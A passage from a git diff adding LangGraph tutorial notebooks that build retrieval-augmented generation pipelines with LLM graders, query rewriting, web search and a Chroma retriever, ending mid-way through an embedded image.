"outputs": [ + { + "data": { + "text/plain": [ + "{'score': 'yes'}" + ] + }, + "execution_count": 10, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "### Answer Grader\n", + "\n", + "# LLM\n", + "llm = ChatOllama(model=local_llm, format=\"json\", temperature=0)\n", + "\n", + "# Prompt\n", + "prompt = PromptTemplate(\n", + " template=\"\"\"You are a grader assessing whether an answer is useful to resolve a question. \\n \n", + " Here is the answer:\n", + " \\n ------- \\n\n", + " {generation} \n", + " \\n ------- \\n\n", + " Here is the question: {question}\n", + " Give a binary score 'yes' or 'no' to indicate whether the answer is useful to resolve a question. \\n\n", + " Provide the binary score as a JSON with a single key 'score' and no preamble or explanation.\"\"\",\n", + " input_variables=[\"generation\", \"question\"],\n", + ")\n", + "\n", + "answer_grader = prompt | llm | JsonOutputParser()\n", + "answer_grader.invoke({\"question\": question, \"generation\": generation})" + ] + }, + { + "cell_type": "code", + "execution_count": 11, + "id": "830ba5f7-9c8d-4c01-83b1-e4d51d40d48f", + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "' What is agent memory and how can it be effectively utilized in vector database retrieval?'" + ] + }, + "execution_count": 11, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "### Question Re-writer\n", + "\n", + "# LLM\n", + "llm = ChatOllama(model=local_llm, temperature=0)\n", + "\n", + "# Prompt\n", + "re_write_prompt = PromptTemplate(\n", + " template=\"\"\"You a question re-writer that converts an input question to a better version that is optimized \\n \n", + " for vectorstore retrieval. Look at the initial and formulate an improved question. \\n\n", + " Here is the initial question: \\n\\n {question}. Improved question with no preamble: \\n \"\"\",\n", + " input_variables=[\"generation\", \"question\"],\n", + ")\n", + "\n", + "question_rewriter = re_write_prompt | llm | StrOutputParser()\n", + "question_rewriter.invoke({\"question\": question})" + ] + }, + { + "cell_type": "markdown", + "id": "686c9bb1-5069-45f9-8a7e-cba34fe07dd9", + "metadata": {}, + "source": [ + "## Web Search Tool" + ] + }, + { + "cell_type": "code", + "execution_count": 12, + "id": "6c3c1c70-ff84-41e8-bf72-738ed52f2dde", + "metadata": {}, + "outputs": [], + "source": [ + "### Search\n", + "\n", + "from langchain_community.tools.tavily_search import TavilySearchResults\n", + "\n", + "web_search_tool = TavilySearchResults(k=3)" + ] + }, + { + "cell_type": "markdown", + "id": "630d1751-a20b-4858-b3fd-0312de4f3ad7", + "metadata": {}, + "source": [ + "# Graph \n", + "\n", + "Capture the flow in as a graph.\n", + "\n", + "## Graph state" + ] + }, + { + "cell_type": "code", + "execution_count": 13, + "id": "6e09087e-b2a9-437a-abee-129e426df799", + "metadata": {}, + "outputs": [], + "source": [ + "from typing import List\n", + "\n", + "from typing_extensions import TypedDict\n", + "\n", + "\n", + "class GraphState(TypedDict):\n", + " \"\"\"\n", + " Represents the state of our graph.\n", + "\n", + " Attributes:\n", + " question: question\n", + " generation: LLM generation\n", + " documents: list of documents\n", + " \"\"\"\n", + "\n", + " question: str\n", + " generation: str\n", + " documents: List[str]" + ] + }, + { + "cell_type": "code", + "execution_count": 14, + "id": "7c5fa507-77ae-426a-a65f-f518b9525bd0", + "metadata": {}, + "outputs": [], + "source": [ + "### Nodes\n", + "\n", + "from langchain.schema import Document\n", + "\n", + "\n", + "def retrieve(state):\n", + " \"\"\"\n", + " Retrieve documents\n", + "\n", + " Args:\n", + " state (dict): The current graph state\n", + "\n", + " Returns:\n", + " state (dict): New key added to state, documents, that contains retrieved documents\n", + " \"\"\"\n", + " print(\"---RETRIEVE---\")\n", + " question = state[\"question\"]\n", + "\n", + " # Retrieval\n", + " documents = retriever.get_relevant_documents(question)\n", + " return {\"documents\": documents, \"question\": question}\n", + "\n", + "\n", + "def generate(state):\n", + " \"\"\"\n", + " Generate answer\n", + "\n", + " Args:\n", + " state (dict): The current graph state\n", + "\n", + " Returns:\n", + " state (dict): New key added to state, generation, that contains LLM generation\n", + " \"\"\"\n", + " print(\"---GENERATE---\")\n", + " question = state[\"question\"]\n", + " documents = state[\"documents\"]\n", + "\n", + " # RAG generation\n", + " generation = rag_chain.invoke({\"context\": documents, \"question\": question})\n", + " return {\"documents\": documents, \"question\": question, \"generation\": generation}\n", + "\n", + "\n", + "def grade_documents(state):\n", + " \"\"\"\n", + " Determines whether the retrieved documents are relevant to the question.\n", + "\n", + " Args:\n", + " state (dict): The current graph state\n", + "\n", + " Returns:\n", + " state (dict): Updates documents key with only filtered relevant documents\n", + " \"\"\"\n", + "\n", + " print(\"---CHECK DOCUMENT RELEVANCE TO QUESTION---\")\n", + " question = state[\"question\"]\n", + " documents = state[\"documents\"]\n", + "\n", + " # Score each doc\n", + " filtered_docs = []\n", + " for d in documents:\n", + " score = retrieval_grader.invoke(\n", + " {\"question\": question, \"document\": d.page_content}\n", + " )\n", + " grade = score[\"score\"]\n", + " if grade == \"yes\":\n", + " print(\"---GRADE: DOCUMENT RELEVANT---\")\n", + " filtered_docs.append(d)\n", + " else:\n", + " print(\"---GRADE: DOCUMENT NOT RELEVANT---\")\n", + " continue\n", + " return {\"documents\": filtered_docs, \"question\": question}\n", + "\n", + "\n", + "def transform_query(state):\n", + " \"\"\"\n", + " Transform the query to produce a better question.\n", + "\n", + " Args:\n", + " state (dict): The current graph state\n", + "\n", + " Returns:\n", + " state (dict): Updates question key with a re-phrased question\n", + " \"\"\"\n", + "\n", + " print(\"---TRANSFORM QUERY---\")\n", + " question = state[\"question\"]\n", + " documents = state[\"documents\"]\n", + "\n", + " # Re-write question\n", + " better_question = question_rewriter.invoke({\"question\": question})\n", + " return {\"documents\": documents, \"question\": better_question}\n", + "\n", + "\n", + "def web_search(state):\n", + " \"\"\"\n", + " Web search based on the re-phrased question.\n", + "\n", + " Args:\n", + " state (dict): The current graph state\n", + "\n", + " Returns:\n", + " state (dict): Updates documents key with appended web results\n", + " \"\"\"\n", + "\n", + " print(\"---WEB SEARCH---\")\n", + " question = state[\"question\"]\n", + "\n", + " # Web search\n", + " docs = web_search_tool.invoke({\"query\": question})\n", + " web_results = \"\\n\".join([d[\"content\"] for d in docs])\n", + " web_results = Document(page_content=web_results)\n", + "\n", + " return {\"documents\": web_results, \"question\": question}\n", + "\n", + "\n", + "### Edges ###\n", + "\n", + "\n", + "def route_question(state):\n", + " \"\"\"\n", + " Route question to web search or RAG.\n", + "\n", + " Args:\n", + " state (dict): The current graph state\n", + "\n", + " Returns:\n", + " str: Next node to call\n", + " \"\"\"\n", + "\n", + " print(\"---ROUTE QUESTION---\")\n", + " question = state[\"question\"]\n", + " print(question)\n", + " source = question_router.invoke({\"question\": question})\n", + " print(source)\n", + " print(source[\"datasource\"])\n", + " if source[\"datasource\"] == \"web_search\":\n", + " print(\"---ROUTE QUESTION TO WEB SEARCH---\")\n", + " return \"web_search\"\n", + " elif source[\"datasource\"] == \"vectorstore\":\n", + " print(\"---ROUTE QUESTION TO RAG---\")\n", + " return \"vectorstore\"\n", + "\n", + "\n", + "def decide_to_generate(state):\n", + " \"\"\"\n", + " Determines whether to generate an answer, or re-generate a question.\n", + "\n", + " Args:\n", + " state (dict): The current graph state\n", + "\n", + " Returns:\n", + " str: Binary decision for next node to call\n", + " \"\"\"\n", + "\n", + " print(\"---ASSESS GRADED DOCUMENTS---\")\n", + " state[\"question\"]\n", + " filtered_documents = state[\"documents\"]\n", + "\n", + " if not filtered_documents:\n", + " # All documents have been filtered check_relevance\n", + " # We will re-generate a new query\n", + " print(\n", + " \"---DECISION: ALL DOCUMENTS ARE NOT RELEVANT TO QUESTION, TRANSFORM QUERY---\"\n", + " )\n", + " return \"transform_query\"\n", + " else:\n", + " # We have relevant documents, so generate answer\n", + " print(\"---DECISION: GENERATE---\")\n", + " return \"generate\"\n", + "\n", + "\n", + "def grade_generation_v_documents_and_question(state):\n", + " \"\"\"\n", + " Determines whether the generation is grounded in the document and answers question.\n", + "\n", + " Args:\n", + " state (dict): The current graph state\n", + "\n", + " Returns:\n", + " str: Decision for next node to call\n", + " \"\"\"\n", + "\n", + " print(\"---CHECK HALLUCINATIONS---\")\n", + " question = state[\"question\"]\n", + " documents = state[\"documents\"]\n", + " generation = state[\"generation\"]\n", + "\n", + " score = hallucination_grader.invoke(\n", + " {\"documents\": documents, \"generation\": generation}\n", + " )\n", + " grade = score[\"score\"]\n", + "\n", + " # Check hallucination\n", + " if grade == \"yes\":\n", + " print(\"---DECISION: GENERATION IS GROUNDED IN DOCUMENTS---\")\n", + " # Check question-answering\n", + " print(\"---GRADE GENERATION vs QUESTION---\")\n", + " score = answer_grader.invoke({\"question\": question, \"generation\": generation})\n", + " grade = score[\"score\"]\n", + " if grade == \"yes\":\n", + " print(\"---DECISION: GENERATION ADDRESSES QUESTION---\")\n", + " return \"useful\"\n", + " else:\n", + " print(\"---DECISION: GENERATION DOES NOT ADDRESS QUESTION---\")\n", + " return \"not useful\"\n", + " else:\n", + " pprint(\"---DECISION: GENERATION IS NOT GROUNDED IN DOCUMENTS, RE-TRY---\")\n", + " return \"not supported\"" + ] + }, + { + "cell_type": "markdown", + "id": "ed7d8eb6-31d7-4ab5-8a88-7081b64582bb", + "metadata": {}, + "source": [ + "## Build Graph" + ] + }, + { + "cell_type": "code", + "execution_count": 15, + "id": "450eb313-ca75-4a43-b57e-7034bd3f40bf", + "metadata": {}, + "outputs": [], + "source": [ + "from langgraph.graph import END, StateGraph, START\n", + "\n", + "workflow = StateGraph(GraphState)\n", + "\n", + "# Define the nodes\n", + "workflow.add_node(\"web_search\", web_search) # web search\n", + "workflow.add_node(\"retrieve\", retrieve) # retrieve\n", + "workflow.add_node(\"grade_documents\", grade_documents) # grade documents\n", + "workflow.add_node(\"generate\", generate) # generate\n", + "workflow.add_node(\"transform_query\", transform_query) # transform_query\n", + "\n", + "# Build graph\n", + "workflow.add_conditional_edges(\n", + " START,\n", + " route_question,\n", + " {\n", + " \"web_search\": \"web_search\",\n", + " \"vectorstore\": \"retrieve\",\n", + " },\n", + ")\n", + "workflow.add_edge(\"web_search\", \"generate\")\n", + "workflow.add_edge(\"retrieve\", \"grade_documents\")\n", + "workflow.add_conditional_edges(\n", + " \"grade_documents\",\n", + " decide_to_generate,\n", + " {\n", + " \"transform_query\": \"transform_query\",\n", + " \"generate\": \"generate\",\n", + " },\n", + ")\n", + "workflow.add_edge(\"transform_query\", \"retrieve\")\n", + "workflow.add_conditional_edges(\n", + " \"generate\",\n", + " grade_generation_v_documents_and_question,\n", + " {\n", + " \"not supported\": \"generate\",\n", + " \"useful\": END,\n", + " \"not useful\": \"transform_query\",\n", + " },\n", + ")\n", + "\n", + "# Compile\n", + "app = workflow.compile()" + ] + }, + { + "cell_type": "code", + "execution_count": 16, + "id": "b095c1db-8bd1-4a34-937c-1a9b74ae74ff", + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "---ROUTE QUESTION---\n", + "What is the AlphaCodium paper about?\n", + "{'datasource': 'web_search'}\n", + "web_search\n", + "---ROUTE QUESTION TO WEB SEARCH---\n", + "---WEB SEARCH---\n", + "\"Node 'web_search':\"\n", + "'\\n---\\n'\n", + "---GENERATE---\n", + "---CHECK HALLUCINATIONS---\n", + "---DECISION: GENERATION IS GROUNDED IN DOCUMENTS---\n", + "---GRADE GENERATION vs QUESTION---\n", + "---DECISION: GENERATION ADDRESSES QUESTION---\n", + "\"Node 'generate':\"\n", + "'\\n---\\n'\n", + "(' The AlphaCodium paper introduces a new approach for code generation by '\n", + " 'Large Language Models (LLMs). It presents AlphaCodium, an iterative process '\n", + " 'that involves generating additional data to aid the flow, and testing it on '\n", + " 'the CodeContests dataset. The results show that AlphaCodium outperforms '\n", + " \"DeepMind's AlphaCode and AlphaCode2 without fine-tuning a model. The \"\n", + " 'approach includes a pre-processing phase for problem reasoning in natural '\n", + " 'language and an iterative code generation phase with runs and fixes against '\n", + " 'tests.')\n" + ] + } + ], + "source": [ + "from pprint import pprint\n", + "\n", + "# Run\n", + "inputs = {\"question\": \"What is the AlphaCodium paper about?\"}\n", + "for output in app.stream(inputs):\n", + " for key, value in output.items():\n", + " # Node\n", + " pprint(f\"Node '{key}':\")\n", + " # Optional: print full state at each node\n", + " # pprint.pprint(value[\"keys\"], indent=2, width=80, depth=None)\n", + " pprint(\"\\n---\\n\")\n", + "\n", + "# Final generation\n", + "pprint(value[\"generation\"])" + ] + }, + { + "cell_type": "markdown", + "id": "644c7293-9cb5-4236-ba08-1e63b0309cb7", + "metadata": {}, + "source": [ + "Trace: \n", + "\n", + "https://smith.langchain.com/public/81813813-be53-403c-9877-afcd5786ca2e/r" + ] + } + ], + "metadata": { + "kernelspec": { + "display_name": "Python 3 (ipykernel)", + "language": "python", + "name": "python3" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.11.8" + } + }, + "nbformat": 4, + "nbformat_minor": 5 +} diff --git a/examples/rag/langgraph_agentic_rag.ipynb b/examples/rag/langgraph_agentic_rag.ipynb new file mode 100644 index 0000000..268914f --- /dev/null +++ b/examples/rag/langgraph_agentic_rag.ipynb @@ -0,0 +1,547 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "47e3b43b", + "metadata": {}, + "source": [ + "This directory is retained purely for archival purposes and is no longer updated. Please see the newly [consolidated LangChain documentation](https://docs.langchain.com/oss/python/langgraph/overview) for the most current information and resources." + ] + }, + { + "cell_type": "markdown", + "id": "425fb020-e864-40ce-a31f-8da40c73d14b", + "metadata": {}, + "source": [ + "# Agentic RAG\n", + "\n", + "[Retrieval Agents](https://python.langchain.com/v0.2/docs/tutorials/qa_chat_history/#agents) are useful when we want to make decisions about whether to retrieve from an index.\n", + "\n", + "To implement a retrieval agent, we simple need to give an LLM access to a retriever tool.\n", + "\n", + "We can incorporate this into [LangGraph](https://langchain-ai.github.io/langgraph/).\n", + "\n", + "## Setup\n", + "\n", + "First, let's download the required packages and set our API keys:" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "969fb438", + "metadata": {}, + "outputs": [], + "source": [ + "%%capture --no-stderr\n", + "%pip install -U --quiet langchain-community tiktoken langchain-openai langchainhub chromadb langchain langgraph langchain-text-splitters" + ] + }, + { + "cell_type": "code", + "execution_count": 1, + "id": "e4958a8c", + "metadata": {}, + "outputs": [], + "source": [ + "import getpass\n", + "import os\n", + "\n", + "\n", + "def _set_env(key: str):\n", + " if key not in os.environ:\n", + " os.environ[key] = getpass.getpass(f\"{key}:\")\n", + "\n", + "\n", + "_set_env(\"OPENAI_API_KEY\")" + ] + }, + { + "cell_type": "markdown", + "id": "3d07e8d4", + "metadata": {}, + "source": [ + "
\n", + "

Set up LangSmith for LangGraph development

\n", + "

\n", + " Sign up for LangSmith to quickly spot issues and improve the performance of your LangGraph projects. LangSmith lets you use trace data to debug, test, and monitor your LLM apps built with LangGraph — read more about how to get started here. \n", + "

\n", + "
" + ] + }, + { + "cell_type": "markdown", + "id": "c74e4532", + "metadata": {}, + "source": [ + "## Retriever\n", + "\n", + "First, we index 3 blog posts." + ] + }, + { + "cell_type": "code", + "execution_count": 2, + "id": "e50c9efe-4abe-42fa-b35a-05eeeede9ec6", + "metadata": {}, + "outputs": [], + "source": [ + "from langchain_community.document_loaders import WebBaseLoader\n", + "from langchain_community.vectorstores import Chroma\n", + "from langchain_openai import OpenAIEmbeddings\n", + "from langchain_text_splitters import RecursiveCharacterTextSplitter\n", + "\n", + "urls = [\n", + " \"https://lilianweng.github.io/posts/2023-06-23-agent/\",\n", + " \"https://lilianweng.github.io/posts/2023-03-15-prompt-engineering/\",\n", + " \"https://lilianweng.github.io/posts/2023-10-25-adv-attack-llm/\",\n", + "]\n", + "\n", + "docs = [WebBaseLoader(url).load() for url in urls]\n", + "docs_list = [item for sublist in docs for item in sublist]\n", + "\n", + "text_splitter = RecursiveCharacterTextSplitter.from_tiktoken_encoder(\n", + " chunk_size=100, chunk_overlap=50\n", + ")\n", + "doc_splits = text_splitter.split_documents(docs_list)\n", + "\n", + "# Add to vectorDB\n", + "vectorstore = Chroma.from_documents(\n", + " documents=doc_splits,\n", + " collection_name=\"rag-chroma\",\n", + " embedding=OpenAIEmbeddings(),\n", + ")\n", + "retriever = vectorstore.as_retriever()" + ] + }, + { + "cell_type": "markdown", + "id": "225d2277-45b2-4ae8-a7d6-62b07fb4a002", + "metadata": {}, + "source": [ + "Then we create a retriever tool." + ] + }, + { + "cell_type": "code", + "execution_count": 3, + "id": "0b97bdd8-d7e3-444d-ac96-5ef4725f9048", + "metadata": {}, + "outputs": [], + "source": [ + "from langchain.tools.retriever import create_retriever_tool\n", + "\n", + "retriever_tool = create_retriever_tool(\n", + " retriever,\n", + " \"retrieve_blog_posts\",\n", + " \"Search and return information about Lilian Weng blog posts on LLM agents, prompt engineering, and adversarial attacks on LLMs.\",\n", + ")\n", + "\n", + "tools = [retriever_tool]" + ] + }, + { + "cell_type": "markdown", + "id": "fe6e8f78-1ef7-42ad-b2bf-835ed5850553", + "metadata": {}, + "source": [ + "## Agent State\n", + " \n", + "We will define a graph.\n", + "\n", + "A `state` object that it passes around to each node.\n", + "\n", + "Our state will be a list of `messages`.\n", + "\n", + "Each node in our graph will append to it." + ] + }, + { + "cell_type": "code", + "execution_count": 4, + "id": "0e378706-47d5-425a-8ba0-57b9acffbd0c", + "metadata": {}, + "outputs": [], + "source": [ + "from typing import Annotated, Sequence, TypedDict\n", + "\n", + "from langchain_core.messages import BaseMessage\n", + "\n", + "from langgraph.graph.message import add_messages\n", + "\n", + "\n", + "class AgentState(TypedDict):\n", + " # The add_messages function defines how an update should be processed\n", + " # Default is to replace. add_messages says \"append\"\n", + " messages: Annotated[Sequence[BaseMessage], add_messages]" + ] + }, + { + "attachments": { + "7ad1a116-28d7-473f-8cff-5f2efd0bf118.png": { + "image/png": "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